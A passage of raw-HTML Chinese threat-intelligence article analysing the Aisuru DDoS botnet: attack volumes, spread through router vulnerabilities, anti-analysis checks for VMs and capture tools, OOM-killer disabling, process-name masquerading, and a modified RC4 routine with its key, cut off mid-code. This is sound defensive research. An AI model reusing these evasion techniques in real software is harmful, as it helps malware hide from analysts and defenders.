0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">4：2025年9月对185.211.78.117的攻击</span></span></h4><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">对恶意域名 ilovegaysex 所关联的 C2 服务器进行指令跟踪，今年9月监测到对185.211.78.117发起了网络攻击，流量是惊人的11.5 Tbps。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000461" alt="aisuru_attack.png" class="rich_pages wxw-img" data-ratio="0.18425925925925926" data-type="png" data-w="1080" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=cc091f7b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiaFRf0dVEKiaPSdP0fEGuXJIGHianUOlEdiahLu8hoVCa9SfFVWU7Nlh21pclqsWiaJn4LT9nwCQIyQSA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-pm-slice="0 0 []"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">样本传播</span></span></h2><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">依托于XLab大网威胁感知系统的能力，我们观察到Aisuru样本最近主要通过NDAY漏洞传播，同时具备0DAY漏洞的利用能力。去年6月开始使用的美国Cambium Networks公司的cnPilot路由器0DAY仍然在利用。Aisuru传播样本使用的部分漏洞如下：</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000474" class="rich_pages wxw-img" data-ratio="0.8091286307053942" data-s="300,640" data-type="png" data-w="723" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=35880ecf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiaFRf0dVEKiaPSdP0fEGuXJINJ8Dw5kSn8NqBj75zDarrlyibpSNSxuJXcbutRAS16iaWOgcxkjvYq0A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">攻击统计</span></span></h2><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Aisuru僵尸网络的攻击目标遍布全球，分布在各个行业，主要攻击目标分布在中国、美国、德国，英国，中国香港等地区。并无明显的强针对性。每日攻击目标几百个左右。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">DDoS攻击趋势：</span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img data-imgfileid="100000466" alt="AISURU.atk.trends.png" class="rich_pages wxw-img" data-ratio="0.24326833797585887" data-type="png" data-w="1077" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=9128af93&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiaFRf0dVEKiaPSdP0fEGuXJIMeR5zAS8rU2C1DrPH9AHSNbZ2EFVSI5Jt18nyckOHYl8mKX4sibdElw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">受害者地区分布：</span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img data-imgfileid="100000467" alt="AISURU.atk.d.png" class="rich_pages wxw-img" data-ratio="0.6941838649155723" data-type="png" data-w="533" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=d580a8e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiaFRf0dVEKiaPSdP0fEGuXJI5Dn2ssrrgM3yCEGqzjhGiaEeyEJF9lN2FkOJZ96MWEoT1fwM7R9z1Wg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">技术分析</span></span></h2><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">从2025年3月14日起，AIRURU团伙开始投递新的僵尸网络样本，和目前掌握的源码进行比对，我们发现更新主要集中在加密方式上，截止目前发现的更新可以分成俩大版本。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img alt="aisuru_source.png" class="rich_pages wxw-img" data-imgfileid="100000463" data-ratio="0.296398891966759" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" data-type="png" data-w="722" src="https://wechat2rss.xlab.app/img-proxy/?k=aec983df&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiaFRf0dVEKiaPSdP0fEGuXJIaDzpq5UJibht21RpficmSob9Ew6XPu2uWeibTL93T4jrOcLnV9AHibUyibQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ul style="list-style-type: square;" class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">版本一的更新包括：使用ecdh-P256进行密钥交换，之后生成共享的chacha20密钥对网络通信消息加密；DNS-TXT记录不再使用base64+chacha20解密，使用base64+xor解密；新的攻击指令、消息格式</span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">版本二的更新包括：精简网络协议，删除ecdh-P256密钥交换过程，；魔改xxhash算法用于验证消息完整性；魔改RC4算法用于解密样本字符串和通信key；</span></p></li></ul><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">第一个版本只持续了半个月左右时间，后续主要使用第二个版本样本。下文以版本二的样本为主要分析对象，着重介绍Aisuru的对抗手法，加密算法以及网络协议。</span></p><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">环境检测</span></span></h3><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">样本启动后会检测当前进程命令行中是否包含以下字符串:</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span leaf=""><span class="code-snippet__attribute">tcpdump</span></span></code><br/><code><span leaf="">wireshark</span></code><br/><code><span leaf="">tshark</span></code><br/><code><span leaf="">dumpcap</span></code><br/></pre></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">检查内核的硬件标识信息是否包含以下字符串：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span leaf=""><span class="code-snippet__attribute">VMware</span></span></code><br/><code><span leaf="">VirtualBox</span></code><br/><code><span leaf="">KVM</span></code><br/><code><span leaf="">Microsoft</span></code><br/><code><span leaf="">QEMU</span></code><br/></pre></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">如果检查到上述情况，则程序退出，在一定程度上干扰样本的动态分析</span></p><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">Killer对抗</span></span></h3><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Linux 内核有一个 OOM Killer（Out-Of-Memory Killer），当系统内存不足时，它会挑选一些进程强制结束来释放内存。该样本通过在</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">/proc/self/oom_score_adj</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">写入</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">-1000</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">来禁用该功能，以获取到更多的执行时间。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">正所谓的同行是冤家，每个Botnet Operator都想独占设备，对于设备的争夺非常激烈，一个设备今天属于A，明天又被B入侵的情况屡见不鲜。比如Aisuru和Rapperbot的在nvms9000设备的竞争上就非常白热化，当Aisuru做为胜利方接管了设备后，都要忍不住的跳出来嘲讽Rapperbot，贴脸开大。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000465" alt="aisuru_fight.png" class="rich_pages wxw-img" data-ratio="0.22672064777327935" data-type="png" data-w="741" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=8e8aab06&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiaFRf0dVEKiaPSdP0fEGuXJI6z3IicXWjZTPDGmrHjrFVe4iayF8SBo4zlLV5hUkib3omvpRMbdhXkByQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">大部分僵尸网络样本为了多平台兼容性，使用静态链接编译样本，导致它们不使用任何共享库；此外还会在运行后删除自身文件。但这也让不少僵尸网络将上述作为特征进行</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">kill</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">，以击败自己的竞争对手。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">为了对抗上述killer，样本启动后会在</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">/lib/</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">中搜索以</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">.so</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">结尾的共享库文件并映射到当前进程中；不删除文件并将文件名替换为</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">libcow.so</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">；进程名同样是被检查的重点对象，样本将进程名替换为以下常见的进程名之一：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span leaf=""><span class="code-snippet__attribute">telnetd</span></span></code><br/><code><span leaf="">udhcpc</span></code><br/><code><span leaf="">inetd</span></code><br/><code><span leaf="">ntpclient</span></code><br/><code><span leaf="">watchdog</span></code><br/><code><span leaf="">klogd</span></code><br/><code><span leaf="">upnpd</span></code><br/><code><span leaf="">dhclient</span></code><br/></pre></p><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">魔改的RC4加密算法</span></span></h3><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">和之前的AIRASHI版本相比，新样本解密字符串时也不再使用标准的RC4算法，校验消息时不再使用标准的HMAC-SHA256算法。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">新样本使用了魔改的RC4算法，密钥为</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">PJbiNbbeasddDfsc</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">，该密钥在多个版本中都没有变化，或许是向Fodcha僵尸网络致敬。算法保留了RC4的256字节的S盒，在初始化和生成密钥流时增加新的扰动，等效的Golang实现如下:</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span leaf=""><span class="code-snippet__function"><span class="code-snippet__keyword">func</span></span><span class="code-snippet__function"> </span><span class="code-snippet__function"><span class="code-snippet__title">AIRASHI_RC4</span></span><span class="code-snippet__function"><span class="code-snippet__params">(data []</span></span><span class="code-snippet__function"><span class="code-snippet__params"><span class="code-snippet__type">byte</span></span></span><span class="code-snippet__function"><span class="code-snippet__params">)</span></span> []<span class="code-snippet__type">byte</span> {</span></code><br/><code><span leaf="">	key := <span class="code-snippet__built_in">make</span>([]<span class="code-snippet__type">uint32</span>, <span class="code-snippet__number">4</span>)</span></code><br/><code><span leaf="">	keyBytes := []<span class="code-snippet__type">byte</span>(<span class="code-snippet__string">&#34;PJbiNbbeasddDfsc&#34;</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">for</span> i := <span class="code-snippet__number">0</span>; i &lt; <span class="code-snippet__number">4</span>; i++ {</span></code><br/><code><span leaf="">		key[i] = binary.BigEndian.Uint32(keyBytes[i*<span class="code-snippet__number">4</span> : (i+<span class="code-snippet__number">1</span>)*<span class="code-snippet__number">4</span>])</span></code><br/><code><span leaf="">	}</span></code><br/><code><span leaf="">	S := <span class="code-snippet__built_in">make</span>([]<span class="code-snippet__type">byte</span>, <span class="code-snippet__number">256</span>)</span></code><br/><code><span leaf="">	i := <span class="code-snippet__number">13</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">for</span> j 